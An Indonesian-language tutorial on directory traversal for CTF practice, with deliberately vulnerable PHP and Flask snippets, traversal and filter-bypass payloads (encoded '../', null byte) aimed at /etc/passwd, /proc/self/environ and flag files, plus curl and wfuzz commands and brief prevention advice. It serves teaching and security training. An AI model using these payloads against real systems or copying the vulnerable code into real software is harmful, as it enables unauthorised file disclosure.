

Directory Traversal (Path Traversal)

Directory Traversal adalah teknik untuk mengakses file atau folder di luar direktori yang seharusnya diizinkan oleh aplikasi web.

Biasanya terjadi karena aplikasi menerima input path/file dari user tanpa validasi yang aman.

Contoh sederhana:

```
<?php
$file = $_GET['page'];
include("pages/" . $file);
?>
```

Developer bermaksud agar user hanya membuka file di folder pages/.

Contoh normal:

<http://target.com/?page=home.php>

Tetapi attacker bisa mencoba:

<http://target.com/?page=../../../etc/passwd>

Karena:

../

artinya “naik satu folder”.

Konsep Dasar Traversal

Misalnya struktur folder:

/var/www/html/

└─ index.php

└─ pages/

| └─ home.php

| └─ about.php

└─ secret/

└─ flag.txt

Aplikasi hanya boleh membaca:

/pages/

Tetapi attacker menggunakan:

../../secret/flag.txt

Maka prosesnya:

pages/../../secret/flag.txt

Di-resolve menjadi:

secret/flag.txt

Sehingga file rahasia terbaca.

Karakter Traversal Penting

Linux

../

Windows

..\

atau:

../

kadang tetap bekerja.

Target File Umum

Linux

Password file

/etc/passwd

Apache config

/etc/apache2/apache2.conf

Environment variable

/proc/self/environ

Flag CTF

/flag.txt

Windows

Hosts file

C:\Windows\System32\drivers\etc\hosts

Windows config

C:\boot.ini

Contoh Vulnerable Code

Python Flask

```
from flask import Flask, request, send_file
```

```
app = Flask(__name__)
```

```
@app.route("/download")
```

```
def download():
```

```
    filename = request.args.get("file")
```

```
    return send_file("uploads/" + filename)
```

Normal:

```
/download?file=test.txt
```

Traversal:

```
/download?file=../../app.py
```

atau:

```
/download?file=../../flag.txt
```

Contoh di CTF Jeopardy

Dalam CTF, biasanya challenge memberi petunjuk:

- “Can you read the flag?”
- “Nothing is hidden :)”

- “Try harder”
- ada fitur download/view file

Misalnya website:

`http://challenge.ctf/view?file=note.txt`

Saat dibuka:

This is note

Langkah Eksploitasi

1. Coba Traversal Dasar

`/view?file=../../etc/passwd`

Jika berhasil:

`root:x:0:0:root:/root:/bin/bash`

berarti vulnerable.

2. Cari Lokasi Flag

Dalam CTF flag sering ada di:

`/flag.txt`

atau:

`/home/ctf/flag.txt`

Maka coba:

`/view?file=../../flag.txt`

atau:

`/view?file=../../home/ctf/flag.txt`

Simulasi Challenge CTF

Soal

Aplikasi:

`@app.route("/read")`

```
def read():  
    name = request.args.get("name")  
    with open("files/" + name) as f:  
        return f.read()
```

Eksplorasi

Request normal

/read?name=hello.txt

Traversal

/read?name=../../flag.txt

Server membaca:

files/../../flag.txt

yang menjadi:

flag.txt

Output:

FLAG{directory_traversal_master}

Bypass Filter Traversal

Kadang challenge memblokir:

../

Maka attacker memakai bypass.

1. URL Encoding

../

menjadi:

%2e%2e%2f

Contoh:

/view?file=%2e%2e%2f%2e%2e%2fetc/passwd

2. Double Encoding

..

↓

%252e%252e%252f

3. Mixed Slash

..\

atau:

....//

Kadang filter hanya mencari exact string "../".

4. Null Byte Injection (lama)

Pada aplikasi lama:

?page=../etc/passwd%00.php

%00 menghentikan string.

Directory Traversal vs LFI

Banyak orang bingung.

Directory Traversal

Tujuan:

Membaca file/path di luar folder

Contoh:

?file=../etc/passwd

LFI (Local File Inclusion)

Tujuan:

Meng-include dan menjalankan file

Contoh PHP:

```
include($_GET['page']);
```

Traversal sering dipakai dalam LFI:

```
?page=../../../../etc/passwd
```

Jadi:

Traversal = teknik akses path

LFI = include file lokal

Traversal sering menjadi bagian dari LFI.

Teknik Enumerasi dalam CTF

Biasanya langkah attacker:

1. Uji traversal

```
../../../../etc/passwd
```

2. Cari current directory

Kadang baca:

```
/proc/self/environ
```

atau:

```
/proc/self/cmdline
```

3. Cari source code

```
app.py
```

```
index.php
```

```
server.js
```

4. Cari flag

Lokasi umum:

/flag.txt

/root/flag.txt

/home/ctf/flag.txt

Contoh Realistis CTF

Website

/download?file=report.pdf

Uji

/download?file=../../../../etc/passwd

Berhasil.

Cari source code

/download?file=../../../../app.py

Isi source:

```
FLAG = open("/home/ctf/flag.txt").read()
```

Ambil flag

/download?file=../../../../home/ctf/flag.txt

Output:

FLAG{path_traversal_1337}

Cara Mencegah Directory Traversal

1. Gunakan Whitelist

Jangan biarkan user input bebas.

SALAH:

```
open(user_input)
```


BENAR:

```
allowed = ["home.txt", "about.txt"]
```

2. Gunakan Path Normalization

Python:

```
os.path.realpath()
```

3. Validasi Path

Pastikan file tetap di folder aman.

4. Jangan expose filesystem

Gunakan ID/database daripada nama file langsung.

Tools untuk Testing

Burp Suite

Intercept request lalu ubah parameter:

```
file=../../etc/passwd
```

curl

```
curl "http://target/view?file=../../etc/passwd"
```

wfuzz

```
wfuzz -u "http://target/view?file=FUZZ" -w payload.txt
```

Payload Traversal Umum

```
../../etc/passwd
```

```
../../../flag.txt
```

```
..%2f..%2fetc/passwd
```

....//....//etc/passwd

Ciri-Ciri Challenge Traversal

Biasanya ada:

- fitur download file
 - image viewer
 - PDF viewer
 - parameter file=
 - parameter path=
 - parameter download=
-

Ringkasan

Directory Traversal memungkinkan attacker:

- membaca file sensitif
- keluar dari folder aplikasi
- mendapatkan source code
- mengambil flag CTF

Teknik utama:

../

Tujuan umum di CTF:

/etc/passwd

flag.txt

source code aplikasi

Traversal sering menjadi langkah awal menuju:

- LFI
- RCE
- credential leak
- source disclosure

